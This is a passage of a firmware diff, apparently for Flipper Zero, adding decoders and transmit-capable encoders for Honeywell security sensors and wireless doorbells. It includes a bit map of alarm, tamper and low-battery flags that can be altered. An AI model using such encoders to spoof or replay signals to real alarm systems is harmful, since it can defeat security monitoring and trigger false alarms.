+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_honeywell_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+static void
+    subghz_protocol_encoder_honeywell_get_upload(SubGhzProtocolEncoderHoneywell* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    for(uint8_t i = 63; i > 0; i--) {
+        if(!manchester_encoder_advance(
+               &enc_state, bit_read(instance->generic.data, i - 1), &result)) {
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_honeywell_add_duration_to_upload(result);
+            manchester_encoder_advance(
+                &enc_state, bit_read(instance->generic.data, i - 1), &result);
+        }
+        instance->encoder.upload[index++] =
+            subghz_protocol_encoder_honeywell_add_duration_to_upload(result);
+    }
+    instance->encoder.upload[index] = subghz_protocol_encoder_honeywell_add_duration_to_upload(
+        manchester_encoder_finish(&enc_state));
+    if(level_duration_get_level(instance->encoder.upload[index])) {
+        index++;
+    }
+    //Send delay
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_honeywell_const.te_long * 300);
+
+    instance->encoder.size_upload = index;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_honeywell_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoneywell* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_encoder_honeywell_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_honeywell_stop(void* context) {
+    SubGhzProtocolEncoderHoneywell* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_honeywell_yield(void* context) {
+    SubGhzProtocolEncoderHoneywell* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+    return ret;
+}
+
+void subghz_protocol_decoder_honeywell_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell* instance = context;
+    instance->decoder.decode_data = 0;
+    instance->decoder.decode_count_bit = 0;
+}
+
+void subghz_protocol_decoder_honeywell_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell* instance = context;
+
+    ManchesterEvent event = ManchesterEventReset;
+    if(!level) {
+        if(DURATION_DIFF(duration, subghz_protocol_honeywell_const.te_short) <
+           subghz_protocol_honeywell_const.te_delta) {
+            event = ManchesterEventShortLow;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_honeywell_const.te_long) <
+            subghz_protocol_honeywell_const.te_delta * 2) {
+            event = ManchesterEventLongLow;
+        }
+    } else {
+        if(DURATION_DIFF(duration, subghz_protocol_honeywell_const.te_short) <
+           subghz_protocol_honeywell_const.te_delta) {
+            event = ManchesterEventShortHigh;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_honeywell_const.te_long) <
+            subghz_protocol_honeywell_const.te_delta * 2) {
+            event = ManchesterEventLongHigh;
+        }
+    }
+    if(event != ManchesterEventReset) {
+        bool data;
+        bool data_ok = manchester_advance(
+            instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+        if(data_ok) {
+            subghz_protocol_decoder_honeywell_addbit(instance, data);
+        }
+    } else {
+        instance->decoder.decode_data = 0;
+        instance->decoder.decode_count_bit = 0;
+    }
+}
+
+static void subghz_protocol_decoder_honeywell_addbit(void* context, bool data) {
+    SubGhzProtocolDecoderHoneywell* instance = context;
+    instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data;
+    instance->decoder.decode_count_bit++;
+
+    if(instance->decoder.decode_count_bit < 62) {
+        return;
+    }
+
+    uint16_t preamble = (instance->decoder.decode_data >> 48) & 0xFFFF;
+    //can be multiple, since flipper can't read it well.. (it can, but the sensors are not that good, there are multiple of variations seen)
+    if(preamble == 0b0011111111111110 || preamble == 0b0111111111111110 ||
+       preamble == 0b1111111111111110) {
+        uint8_t datatocrc[4];
+        datatocrc[0] = (instance->decoder.decode_data >> 40) & 0xFF;
+        datatocrc[1] = (instance->decoder.decode_data >> 32) & 0xFF;
+        datatocrc[2] = (instance->decoder.decode_data >> 24) & 0xFF;
+        datatocrc[3] = (instance->decoder.decode_data >> 16) & 0xFF;
+        uint8_t channel = (instance->decoder.decode_data >> 44) & 0xF;
+        uint16_t crc_calc = 0;
+        if(channel == 0x2 || channel == 0x4 || channel == 0xA) {
+            // 2GIG brand
+            crc_calc = subghz_protocol_honeywell_crc16(datatocrc, 4, 0x8050, 0);
+        } else if(channel == 0x8) {
+            crc_calc = subghz_protocol_honeywell_crc16(datatocrc, 4, 0x8005, 0);
+        } else {
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            return;
+        }
+        uint16_t crc = instance->decoder.decode_data & 0xFFFF;
+        if(crc == crc_calc) {
+            // Removing possible artifacts from higher bits and setting header to FF FE
+            instance->generic.data =
+                ((((((0xFF << 16) | ((instance->decoder.decode_data >> 40) & 0xFFFF)) << 16) |
+                   ((instance->decoder.decode_data >> 24) & 0xFFFF))
+                  << 16) |
+                 ((instance->decoder.decode_data >> 8) & 0xFFFF))
+                    << 8 |
+                (instance->decoder.decode_data & 0xFF);
+            instance->generic.data_count_bit = 64;
+            if(instance->base.callback)
+                instance->base.callback(&instance->base, instance->base.context);
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            return;
+        }
+    } else if(instance->decoder.decode_count_bit >= 64) {
+        instance->decoder.decode_data = 0;
+        instance->decoder.decode_count_bit = 0;
+        return;
+    }
+}
+
+uint8_t subghz_protocol_decoder_honeywell_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_honeywell_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_honeywell_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell* instance = context;
+
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    res = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+    if(res != SubGhzProtocolStatusOk) {
+        return res;
+    }
+
+    if(instance->generic.data_count_bit != 64) {
+        if(instance->generic.data_count_bit < 62) {
+            return SubGhzProtocolStatusErrorValueBitCount;
+        }
+        // Removing possible artifacts from higher bits and setting header to FF FE
+        instance->generic.data =
+            ((((((0xFF << 16) | ((instance->generic.data >> 40) & 0xFFFF)) << 16) |
+               ((instance->generic.data >> 24) & 0xFFFF))
+              << 16) |
+             ((instance->generic.data >> 8) & 0xFFFF))
+                << 8 |
+            (instance->generic.data & 0xFF);
+        instance->generic.data_count_bit = 64;
+    }
+
+    return res;
+}
+
+void subghz_protocol_decoder_honeywell_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell* instance = context;
+
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    instance->generic.serial = (instance->generic.data >> 24) & 0xFFFFF;
+    uint8_t sensor_status = (instance->generic.data >> 16) & 0xFF;
+
+    uint8_t channel = (instance->generic.data >> 44) & 0xF;
+    uint8_t contact = (sensor_status & 0x80) >> 7;
+    uint8_t tamper = (sensor_status & 0x40) >> 6;
+    uint8_t reed = (sensor_status & 0x20) >> 5;
+    uint8_t alarm = (sensor_status & 0x10) >> 4;
+    uint8_t battery_low = (sensor_status & 0x08) >> 3;
+    uint8_t heartbeat = (sensor_status & 0x04) >> 2;
+
+    furi_string_cat_printf(
+        output,
+        "%s\r\n%dbit  "
+        "Sn:%07lu  Ch:%u\r\n"
+        "LowBat:%d  HB: %d  Cont: %s\r\n"
+        "Key:%08lX%08lX\r\n"
+        "State: L1:%u  L2:%u  L3:%u  L4:%u",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        instance->generic.serial,
+        channel,
+        battery_low,
+        heartbeat,
+        contact ? "open" : "closed",
+        code_found_hi,
+        code_found_lo,
+        contact,
+        reed,
+        alarm,
+        tamper);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.h
new file mode 100644
index 000000000..92ec38a44
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HONEYWELL_NAME "Honeywell Sec"
+
+typedef struct SubGhzProtocolDecoderHoneywell SubGhzProtocolDecoderHoneywell;
+typedef struct SubGhzProtocolEncoderHoneywell SubGhzProtocolEncoderHoneywell;
+
+extern const SubGhzProtocolDecoder subghz_protocol_honeywell_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_honeywell_encoder;
+extern const SubGhzProtocol subghz_protocol_honeywell;
+
+/**
+ * Allocate SubGhzProtocolEncoderHoneywell.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHoneywell* pointer to a SubGhzProtocolEncoderHoneywell instance
+ */
+void* subghz_protocol_encoder_honeywell_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHoneywell.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell instance
+ */
+void subghz_protocol_encoder_honeywell_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_honeywell_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell instance
+ */
+void subghz_protocol_encoder_honeywell_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHoneywell instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_honeywell_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHoneywell.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHoneywell* pointer to a SubGhzProtocolDecoderHoneywell instance
+ */
+void* subghz_protocol_decoder_honeywell_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHoneywell.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell instance
+ */
+void subghz_protocol_decoder_honeywell_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHoneywell.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell instance
+ */
+void subghz_protocol_decoder_honeywell_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_honeywell_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_honeywell_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHoneywell.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_honeywell_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHoneywell.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_honeywell_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHoneywell instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_honeywell_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.c
new file mode 100644
index 000000000..fb421d099
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.c
@@ -0,0 +1,389 @@
+#include "honeywell_wdb.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolHoneywellWdb"
+
+/*
+ * 
+ * https://github.com/klohner/honeywell-wireless-doorbell
+ *
+ */
+
+static const SubGhzBlockConst subghz_protocol_honeywell_wdb_const = {
+    .te_short = 160,
+    .te_long = 320,
+    .te_delta = 60,
+    .min_count_bit_for_found = 48,
+};
+
+struct SubGhzProtocolDecoderHoneywell_WDB {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    const char* device_type;
+    const char* alert;
+    uint8_t secret_knock;
+    uint8_t relay;
+    uint8_t lowbat;
+};
+
+struct SubGhzProtocolEncoderHoneywell_WDB {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Honeywell_WDBDecoderStepReset = 0,
+    Honeywell_WDBDecoderStepFoundStartBit,
+    Honeywell_WDBDecoderStepSaveDuration,
+    Honeywell_WDBDecoderStepCheckDuration,
+} Honeywell_WDBDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_honeywell_wdb_decoder = {
+    .alloc = subghz_protocol_decoder_honeywell_wdb_alloc,
+    .free = subghz_protocol_decoder_honeywell_wdb_free,
+
+    .feed = subghz_protocol_decoder_honeywell_wdb_feed,
+    .reset = subghz_protocol_decoder_honeywell_wdb_reset,
+
+    .get_hash_data = subghz_protocol_decoder_honeywell_wdb_get_hash_data,
+    .serialize = subghz_protocol_decoder_honeywell_wdb_serialize,
+    .deserialize = subghz_protocol_decoder_honeywell_wdb_deserialize,
+    .get_string = subghz_protocol_decoder_honeywell_wdb_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_honeywell_wdb_encoder = {
+    .alloc = subghz_protocol_encoder_honeywell_wdb_alloc,
+    .free = subghz_protocol_encoder_honeywell_wdb_free,
+
+    .deserialize = subghz_protocol_encoder_honeywell_wdb_deserialize,
+    .stop = subghz_protocol_encoder_honeywell_wdb_stop,
+    .yield = subghz_protocol_encoder_honeywell_wdb_yield,
+};
+
+const SubGhzProtocol subghz_protocol_honeywell_wdb = {
+    .name = SUBGHZ_PROTOCOL_HONEYWELL_WDB_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send | SubGhzProtocolFlag_Sensors,
+
+    .decoder = &subghz_protocol_honeywell_wdb_decoder,
+    .encoder = &subghz_protocol_honeywell_wdb_encoder,
+};
+
+void* subghz_protocol_encoder_honeywell_wdb_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHoneywell_WDB* instance =
+        malloc(sizeof(SubGhzProtocolEncoderHoneywell_WDB));
+
+    instance->base.protocol = &subghz_protocol_honeywell_wdb;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_honeywell_wdb_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoneywell_WDB* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHoneywell_WDB instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_honeywell_wdb_get_upload(
+    SubGhzProtocolEncoderHoneywell_WDB* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_honeywell_wdb_const.te_short * 3);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_honeywell_wdb_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_honeywell_wdb_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_honeywell_wdb_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_honeywell_wdb_const.te_long);
+        }
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_honeywell_wdb_const.te_short * 3);
+    return true;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_honeywell_wdb_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoneywell_WDB* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_honeywell_wdb_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_honeywell_wdb_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_honeywell_wdb_stop(void* context) {
+    SubGhzProtocolEncoderHoneywell_WDB* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_honeywell_wdb_yield(void* context) {
+    SubGhzProtocolEncoderHoneywell_WDB* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_honeywell_wdb_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHoneywell_WDB* instance =
+        malloc(sizeof(SubGhzProtocolDecoderHoneywell_WDB));
+    instance->base.protocol = &subghz_protocol_honeywell_wdb;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_honeywell_wdb_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell_WDB* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_honeywell_wdb_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell_WDB* instance = context;
+    instance->decoder.parser_step = Honeywell_WDBDecoderStepReset;
+}
+
+void subghz_protocol_decoder_honeywell_wdb_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell_WDB* instance = context;
+    switch(instance->decoder.parser_step) {
+    case Honeywell_WDBDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_honeywell_wdb_const.te_short * 3) <
+                        subghz_protocol_honeywell_wdb_const.te_delta)) {
+            //Found header Honeywell_WDB
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.decode_data = 0;
+            instance->decoder.parser_step = Honeywell_WDBDecoderStepSaveDuration;
+        }
+        break;
+    case Honeywell_WDBDecoderStepSaveDuration:
+        if(level) { //save interval
+            if(DURATION_DIFF(duration, subghz_protocol_honeywell_wdb_const.te_short * 3) <
+               subghz_protocol_honeywell_wdb_const.te_delta) {
+                if((instance->decoder.decode_count_bit ==
+                    subghz_protocol_honeywell_wdb_const.min_count_bit_for_found) &&
+                   ((instance->decoder.decode_data & 0x01) ==
+                    subghz_protocol_blocks_get_parity(
+                        instance->decoder.decode_data >> 1,
+                        subghz_protocol_honeywell_wdb_const.min_count_bit_for_found - 1))) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.parser_step = Honeywell_WDBDecoderStepReset;
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Honeywell_WDBDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = Honeywell_WDBDecoderStepReset;
+        }
+        break;
+    case Honeywell_WDBDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_honeywell_wdb_const.te_short) <
+                subghz_protocol_honeywell_wdb_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_honeywell_wdb_const.te_long) <
+                subghz_protocol_honeywell_wdb_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Honeywell_WDBDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_honeywell_wdb_const.te_long) <
+                 subghz_protocol_honeywell_wdb_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_honeywell_wdb_const.te_short) <
+                 subghz_protocol_honeywell_wdb_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Honeywell_WDBDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = Honeywell_WDBDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = Honeywell_WDBDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzProtocolDecoderHoneywell_WDB* instance
+ */
+static void subghz_protocol_honeywell_wdb_check_remote_controller(
+    SubGhzProtocolDecoderHoneywell_WDB* instance) {
+    /*
+ *
+ * Frame bits used in Honeywell RCWL300A, RCWL330A, Series 3, 5, 9 and all Decor Series Wireless Chimes
+ * 0000 0000 1111 1111 2222 2222 3333 3333 4444 4444 5555 5555
+ * 7654 3210 7654 3210 7654 3210 7654 3210 7654 3210 7654 3210
+ * XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XX.. XXX. .... KEY DATA (any change and receiver doesn't seem to recognize signal)
+ * XXXX XXXX XXXX XXXX XXXX .... .... .... .... .... .... .... KEY ID (different for each transmitter)
+ * .... .... .... .... .... 0000 00.. 0000 0000 00.. 000. .... KEY UNKNOWN 0 (always 0 in devices I've tested)
+ * .... .... .... .... .... .... ..XX .... .... .... .... .... DEVICE TYPE (10 = doorbell, 01 = PIR Motion sensor)
+ * .... .... .... .... .... .... .... .... .... ..XX ...X XXX. FLAG DATA (may be modified for possible effects on receiver)
+ * .... .... .... .... .... .... .... .... .... ..XX .... .... ALERT (00 = normal, 01 or 10 = right-left halo light pattern, 11 = full volume alarm)
+ * .... .... .... .... .... .... .... .... .... .... ...X .... SECRET KNOCK (0 = default, 1 if doorbell is pressed 3x rapidly)
+ * .... .... .... .... .... .... .... .... .... .... .... X... RELAY (1 if signal is a retransmission of a received transmission, only some models)
+ * .... .... .... .... .... .... .... .... .... .... .... .X.. FLAG UNKNOWN (0 = default, but 1 is accepted and I don't observe any effects)
+ * .... .... .... .... .... .... .... .... .... .... .... ..X. LOWBAT (1 if battery is low, receiver gives low battery alert)
+ * .... .... .... .... .... .... .... .... .... .... .... ...X PARITY (LSB of count of set bits in previous 47 bits)
+ * 
+ */
+
+    instance->generic.serial = (instance->generic.data >> 28) & 0xFFFFF;
+    switch((instance->generic.data >> 20) & 0x3) {
+    case 0x02:
+        instance->device_type = "Doorbell";
+        break;
+    case 0x01:
+        instance->device_type = "PIR-Motion";
+        break;
+    default:
+        instance->device_type = "Unknown";
+        break;
+    }
+
+    switch((instance->generic.data >> 16) & 0x3) {
+    case 0x00:
+        instance->alert = "Normal";
+        break;
+    case 0x01:
+    case 0x02:
+        instance->alert = "High";
+        break;
+    case 0x03:
+        instance->alert = "Full";
+        break;
+    default:
+        instance->alert = "Unknown";
+        break;
+    }
+
+    instance->secret_knock = (uint8_t)((instance->generic.data >> 4) & 0x1);
+    instance->relay = (uint8_t)((instance->generic.data >> 3) & 0x1);
+    instance->lowbat = (uint8_t)((instance->generic.data >> 1) & 0x1);
+}
+
+uint8_t subghz_protocol_decoder_honeywell_wdb_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell_WDB* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_honeywell_wdb_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell_WDB* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_honeywell_wdb_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell_WDB* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_honeywell_wdb_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_honeywell_wdb_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell_WDB* instance = context;
+    subghz_protocol_honeywell_wdb_check_remote_controller(instance);
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Sn:0x%05lX\r\n"
+        "DT:%s  Al:%s\r\n"
+        "SK:%01X R:%01X LBat:%01X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)((instance->generic.data >> 32) & 0xFFFFFFFF),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        instance->device_type,
+        instance->alert,
+        instance->secret_knock,
+        instance->relay,
+        instance->lowbat);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.h
new file mode 100644
index 000000000..91728691b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HONEYWELL_WDB_NAME "Honeywell"
+
+typedef struct SubGhzProtocolDecoderHoneywell_WDB SubGhzProtocolDecoderHoneywell_WDB;
+typedef struct SubGhzProtocolEncoderHoneywell_WDB SubGhzProtocolEncoderHoneywell_WDB;
+
+extern const SubGhzProtocolDecoder subghz_protocol_honeywell_wdb_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_honeywell_wdb_encoder;
+extern const SubGhzProtocol subghz_protocol_honeywell_wdb;
+
+/**
+ * Allocate SubGhzProtocolEncoderHoneywell_WDB.
+ * @param environment Pointer to a SubGhzEnvironment instance
